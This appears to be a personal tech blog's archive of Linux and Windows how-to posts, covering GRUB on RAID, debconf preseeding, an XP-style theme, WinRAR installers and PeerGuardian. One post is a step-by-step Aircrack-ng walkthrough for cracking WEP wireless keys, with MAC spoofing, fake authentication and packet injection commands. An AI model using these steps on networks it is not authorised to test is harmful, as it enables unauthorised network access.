Ubuntu Grub Fails to Install on RAID Array

Friday, February 6th, 2015

Ubuntu Grub RAID Issues

Grub Fails To Install on RAID Array

If grub fails to install on your RAID array in any version of Ubuntu, do NOT disable your BIOS RAID! The correct solution is at this blog entry. I'll summarize it below.

At the stage of the install where it is attempting to install GRUB it will detect as


This is incomplete! That's why the GRUB install fails.

You need the actual name of the RAID array to install to. So during that step, press ctrl+alt+F2 to drop to a busybox terminal, then enter

ls -l /dev/mapper

Pick out the name of your array from the list shown, then press ctrl+alt+F1 to switch back to the install (you can switch back and forth as much as you like with no problems) and enter it in the field as

/dev/mapper/{your array name}  

Then GRUB installs perfectly and you're ready to go, with a proper BIOS RAID array intact.

System Won't Boot After Grub Failed to Install

If your system will no longer boot because you skipped installing or updating grub, you need to download an Ubuntu version that does support RAID, boot from the LIVE CD, drop to a terminal, and then run:

ls -l /dev/mapper
sudo grub-install /dev/mapper/{ARRAY_NAME_HERE}

Setting Up RAID Array During Ubuntu Install

If you are configuring a BIOS RAID array for the first time on Ubuntu, you should create a 1MB boot partition.  Its partition type is "boot".  If you do this, grub will always try to install there and will succeed every time without failing when upgrading or reinstalling grub.

Debian & Ubuntu :: Suppress Installation Package Prompts Completely or Preconfigure Prompt Answers

Saturday, September 14th, 2013

Suppress Installation Package Prompts Completely or Preconfigure Installation Question Answers

Automating the installation of software via bash scripting on Linux can be difficult.  However, in debian and its related distributions such as Ubuntu, you can simplify the installation of packages by using a few tools.  One of these tools is called debconf-utils.  If installation packages such as MySQL or PHPMyAdmin ask configuration questions, you can provide a default set of answers without being prompted.  This is excellent for testing scripts or automating installation for users who may not know how to appropriately answer these questions.

Basically, with debconf-utils you can pre-answer these questions so that no prompts show up!

To install, run this command:

sudo apt-get install debconf-utils

To get a list of questions an installer might ask, first install the package on a test machine where you're writing the script normally.  For example, let's install phpmyadmin:

sudo apt-get install phpmyadmin

Now, to retrieve a set of questions phpmyadmin may ask, you can run this command:

sudo debconf-get-selections | grep phpmyadmin

In your bash script, you can now pre-answer certain questions by including your preconfigured answer commands before installing the package.  For example, when phpmyadmin installs, it asks for the MySQL root user password.  You can skip this prompt and define what the MySQL root password should be by using this command in your script:

echo 'phpmyadmin phpmyadmin/mysql/admin-pass password 1234' | debconf-set-selections

password defines the type and 1234 sets the password to 1234.
You can also suppress questions entirely by using the following command in front of your install command:

DEBIAN_FRONTEND=noninteractive sudo apt-get install phpmyadmin

Default configuration will be used during the installation of the phpmyadmin package, which means it may not work after being installed because some configuration options should be answered.  So, use both combinations for various packages to fit your needs!

How to Make MATE Look Like Windows XP using the Luna Theme

Sunday, April 14th, 2013

Make MATE or GNOME2 Look Like Windows XP Using the Luna Theme

If you want your Linux installation to look like the original theme used in Windows XP, you can do that! This guide will walk you through the process of easily making any MATE or GNOME2 Desktop Environment look like the Windows XP GUI. The Luna Theme can be downloaded here and installed using our simple installation script. If you already have MATE installed or are already running GNOME2, skip to the Luna Theme install instructions.

Install MATE on Ubuntu:

Run the below commands for your matching Ubuntu version in a terminal to install MATE.  To find out which version of Ubuntu you're running, use this command:

lsb_release -a

For Ubuntu 12.04:

sudo add-apt-repository "deb http://packages.mate-desktop.org/repo/ubuntu precise main"
sudo apt-get update 
sudo apt-get --yes --quiet --allow-unauthenticated install mate-archive-keyring 
sudo apt-get update
sudo apt-get install -y mate-desktop-environment

For Ubuntu 14.04:

sudo apt-add-repository ppa:ubuntu-mate-dev/ppa
sudo apt-add-repository ppa:ubuntu-mate-dev/trusty-mate
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install -y mate-desktop-environment-extras

For Ubuntu 16.04:

sudo add-apt-repository ppa:ubuntu-mate-dev/xenial-mate
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install -y mate-desktop-environment

For Other Distributions (Distros):


Installing the Luna Theme:

Our version of the Luna theme has been converted and ported over to GTK3, so it should work with all newer flavors of Linux running MATE while still working on older Linux installs running GNOME2.To install the Luna Theme which will make Linux look like Windows XP, run the following commands. The theme files will be downloaded and saved in your Downloads directory.

cd ~/Downloads
wget -O linux_xp_luna_theme_install.tar.gz http://dinofly.com/files/linux_xp_luna_theme_install.tar.gz
mkdir Luna
tar -zxvf linux_xp_luna_theme_install.tar.gz -C Luna
cd Luna
sudo rm -rf /usr/share/themes/Luna
rm -rf ~/.themes/Luna
sudo bash install.sh

Next, Right Click on the Desktop, and choose "Change Desktop Background".  Click on the "Themes" tab.  Select "Luna".  Click on the "Background" tab.  If you want the default XP wallpaper set as your background, click on the "Add" button.   Select your "Pictures" folder.  Select "luna_background.jpg".  Click "Open".  Click on "Close" to change it. 

Now, MATE or GNOME2 looks like XP!  Enjoy!  This theme was copied from Ylmf OS 3.0.

WinRar Create SFX Self Extracting Installation Wizard and Add Registry Settings

Saturday, January 19th, 2013

Creating a SFX Installation Wizard with WinRar that Can Modify Registry Settings

WinRar's "SFX options…" dialog does not contain any information or guides that help you modify registry settings after the files for your installation have been extracted.  This is a hinderance, but it is extremely possible to modify registry settings by running a batch file after the installation has been completed.  First, make sure the .bat file is included with the rest of your installation files that you selected before making the SFX archive.  In the "Advanced SFX options" window, click on the Setup tab.  Under "Run after extraction", type in just the name of the .bat file you're going to be running.

The Batch File Itself:

This template batch file checks to see if the operating system is 32-bit or 64-bit.  This is an important distincting as it will affect how you setup keys for each type of operating system.  64-bit system keys are usually placed in the Wow6432Node key, so it is important to make this distinction so that your registry settings will work properly.  This batch file called "Program Registry Adder 1.0" provides examples on how to add and modify registry keys depending on the operating system type.

Download Program Registry Adder 1.0

Adding Keys with a .bat (batch) File:

To add specific keys, you use the following parameters:

REG ADD "HKLM\SOFTWARE\My Proggy\" /f /v "InstallDir" /t REG_SZ /d "%PPROG%

The first parameter specifies which hive and key should be created.  The /f flag forces the addition.  The /v flag is the name of the key that should be created.  The /t flag specifies what type of Registry key should be created.  The example uses REG_SZ, which is just a string.  The possible types are:

Value Type (Use this in the batch File)
Expandable String REG_EXPAND_SZ
Multi-String REG_MULTI_SZ
String REG_SZ


Check out more information here.

The /d flag contains the value of the key.


Using both a self extracting installation wizard and a batch file for registry key settings makes for the perfect free to use professional looking installation script. You can always run the batch file silently by removing all pause statements in the script. 

WinRar SFX Custom Start In and Target Paths on Desktop Shortcuts

Saturday, January 19th, 2013

WinRar SFX Custom Start In and Target Paths

When creating a self extracting installation wizard using WinRar, you may want to create a shortcut to your program on the user's desktop.  Typically, these parameters are specified in the "SFX options…" dialog.  In the "Advanced SFX options", click on the "Advanced" tab.  Here, you'll see a section called "Shortcuts".  If you create a shortcut using the "Add shortcut…" button, WinRAR will typically leave out an important undocumented feature.

If you create a desktop shortcut using the "Add shortcut…" button, make sure you set the "Destination folder" to just a slash "\" (no quotes) or the shortcut on the desktop will have the following properties:

Target: "D:\Install Directory\YourProgram.exe"
Start in:

Notice, there is no "Start in:" path.  To fix this, you need to add a "\" to the desktop shortcut parameters manually like so:

D, yourProgramsName.exe, \, "Shortcut Description", "Shortcut name",

Or, make sure you place a "\" (no quotes) for the "Destination folder" in the add shortcut helper.

This problem only affects desktop shortcuts and can be fixed by adding a "\" to the parameters for each desktop shortcut after the program's name.

Best Way to Find and Install Prerequisites

Thursday, March 29th, 2012

Find and Install Software Prerequisites for Ubuntu

Sometimes, you get stuck having to manually compile and install software, as no package is available for your Ubuntu distribution or one of the package sources has become broken.  However, you should check the link below and search for the software you're looking for, as there MAY already be a pre-existing package for your version of Ubuntu.  Typically, you download a software package, read the ReadMe, and are left asking, why doesn't this prerequisite package exist for installation?  I've got the names right here!  Unfortunately, each version of Linux can name their packages differently.  As a result, there's a lot of confusion.  However, say the ReadMe prompts you to install nfnetlink development packages.  Great, so you try:

sudo apt-get install nfnetlink-dev

Only… the package doesn't exist.  What do you do now?  Rather than searching the internet, search ubuntu's packages by clicking on the below link:

Search Ubuntu Packages

Once you're on that page, scroll down to the "Search" section.  Type in the name of the package you were given.  In our example, it was nfnetlink and click on "Search".  The first package listed is libnfnetlink-dev.  This is exactly what we were looking for!  So install it doing this:

sudo apt-get install libnfnetlink-dev

Repeat the process to locate the remaining missing packages.

Once all of your prerequisites have been installed, you should be able to successfully compile and install whatever software package you're trying to install.

Aircrack WEP Testing Guide

Sunday, March 25th, 2012

Installing and Using Aircrack-ng

The following guide has been written to help you install and configure Aircrack-ng. It also includes a step by step guide which will help you crack wireless network WEP encryption. This guide should only be used for ethical purposes.


Open a new terminal and use the following command to install aircrack-ng:

sudo apt-get install aircrack-ng

Ubuntu will now download and automatically install aircrack-ng.

Compat-Wireless Channel -1 Problem:

Newer versions of Ubuntu 10.04 and up have a problem configuring wireless monitoring devices to listen on a particular wireless channel.  In fact, when attempting to create a wireless device in monitor mode, you will see that the channel is stuck on -1 [an invalid wireless channel number].  This is due to a bug in the packaged compat-wireless drivers built into the kernel of Ubuntu.  The solution is to download, compile, and install the latest compat-wireless driver by using this guide:

Open a new terminal, and use this script:

wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-rc6-1.tar.bz2
tar -jxf compat-wireless-3.3-rc6-1.tar.bz2
cd compat-wireless-3.3-rc6-1
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
nano scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
#*** Example: KLIB=/lib/modules/3.1.0/build
sudo make install
sudo make wlunload

To find the value for $(uname -r), open a new terminal and type:

uname -r

Use the value you receive for the reference in the above code

Restart your linux machine.

Testing WEP Networks

Stop Conflicting Services:

Open a new terminal and run the following commands:

sudo service network-manager stop
sudo service avahi-daemon stop
sudo service upstart-udev-bridge stop

Retrieve Wireless Devices List:

In a terminal, type the following command:


Now List / Scan All Networks:

Run the following command in the same terminal:

sudo airodump-ng [WIRELESS_DEVICE_NAME_HERE Example: wlan2]


sudo airodump-ng wlan2

When you're finished, press ctrl+c to stop the scanning process. Save the entire line of information for the network you wish to "test"

Create your monitoring device:

In the same terminal, run this command:

sudo airmon-ng start [WIRELESS_DEVICE_NAME_HERE Example: wlan2] [channel number of wireless access point you want to break]


sudo airmon-ng start wlan2 11

The above line should create a listening interface on your wireless adapter. Typically, in ubuntu, this is mon0

Change your adapter's MAC address on the listening interface:

Run the following command in the same terminal to change your MAC address:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=[FAKE_MAC_LIKE AA:22:11:11:11:11]
sudo ifconfig mon0 up


sudo ifconfig mon0 down
sudo macchanger mon0 --mac=AA:22:11:11:11:11
sudo ifconfig mon0 up

Test Wireless Injection:

Start "testing" the desired access point by running these commands:

In the same terminal, do:



sudo aireplay-ng -9 -e test -a 00:AE:6B:61:67:F2 mon0


-9 means injection test
-e name species wireless network name for test
-a access point MAC address
mon0 is the wireless interface

You can retrieve all of the flag information you need from the output you received by listing networks.

If you receive a message stating "injection is working!" run this command in the same terminal:



sudo airodump-ng -c 11 --bssid 00:AE:6B:61:67:F2 -w output mon0


-c 11 is the channel for the wireless network

Open a New Terminal and Run This:



sudo aireplay-ng -1 0 -e test -a 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0


-1 means fake authentication
0 resassociation timing in seconds

You should receive a message stating "Authentication Successful"

Open a New Terminal and Run:



sudo aireplay-ng -3 -b 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Go back to the terminal that shows the beacons scanning information. Under #/s column, when it reaches over 10000, do this:

Open a New Terminal



sudo aircrack-ng -b 00:AE:6B:61:67:F2 output*.cap

You should receive the key.


HackAVision Aircrack WEP / WPA / WPA2 Cracking Guide

Aircrack-ng WEP Cracking Guide

PeerGuardian Linux Ubuntu Prerequisites and Install Guide

Saturday, March 24th, 2012

PeerGuardian Installation Guide Ubuntu / Debian

Installing PeerGuardian:

Open a new terminal and install the prerequisites for PeerGuardian Linux but using the following commands:

sudo apt-get install libdbus-1-dev zlib1g-dev iptables libnetfilter-queue-dev libnfnetlink-dev qt4-bin-dbg qt4-dev-tools qt4-bin-dbg g++ libpolkit-qt-1-1 libpolkit-qt-1-dev

Download the latest source of PeerGuardian Linux from:  http://sourceforge.net/projects/peerguardian/files/PeerGuardian%20Linux/

Open a terminal, change to the peerguardian source directory, and run the configure file to generate the makefile.

./configure --sysconfdir=/etc

If you get an error stating that looks like this:

checking for ZLIB... configure: error: Package requirements (zlib) were not met:

No package 'zlib' found

Consider adjusting the PKG_CONFIG_PATH environment variable if you
installed software in a non-standard prefix.

Alternatively, you may set the environment variables ZLIB_CFLAGS
and ZLIB_LIBS to avoid the need to call pkg-config.
See the pkg-config man page for more details.

You'll need to download and compile the source of zlib from  http://www.zlib.net/

To do this, just change to the directory of the extracted zlib folder, run:

sudo make
sudo make install

Now, go back to the peerguardian source directory, and re-run ./configure

You will not receive this error anymore.  Why does this happen in the first place?  Installing zlib1g-dev should have been enough to satisfy this requirement, but for some reason it doesn't work sometimes and could be a bug.

Errors Post Installation:

BELOW ISSUE (BOTH Bricking your System and Resolv.conf Issue) APPEARS TO HAVE BEEN FIXED IN MAY of 2013
I'm going to leave this here though in case someone needs it.

As of 3/17/13, I've noticed that installing Peerguardian Linux from the latest SourceForge source causes a number of serious problems that could brick your Linux install. You must run the following commands after "make install" is completed to avoid running into problems.

If your gksudo or sudo commands no longer work after installing because of a "Unable to copy the user's .Xauthorization file" error message, your .Xauthority file may no longer exist.  To fix this issue, run the following commands:

gksudo synaptic
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority

If the above does not work for you, try this:

cd ~
touch .Xauthority
sudo chown youruser:youruser ~/.Xauthority
chmod 600 ~/.Xauthority 

For some reason, the installer also changes the permissions on the tmp system folder.  To fix this, run the following command:

sudo chmod 1777 /tmp

Peerguardian Linux can also break your DNS settings rendering your internet connection useless.  To fix this issue, run the following commands:

sudo nano /etc/resolv.conf

In it, put your router's dns information in. For example:


Save and close the file.  Everything should be good to go and your system is not hosed from a buggy compilation of Peerguardian Linux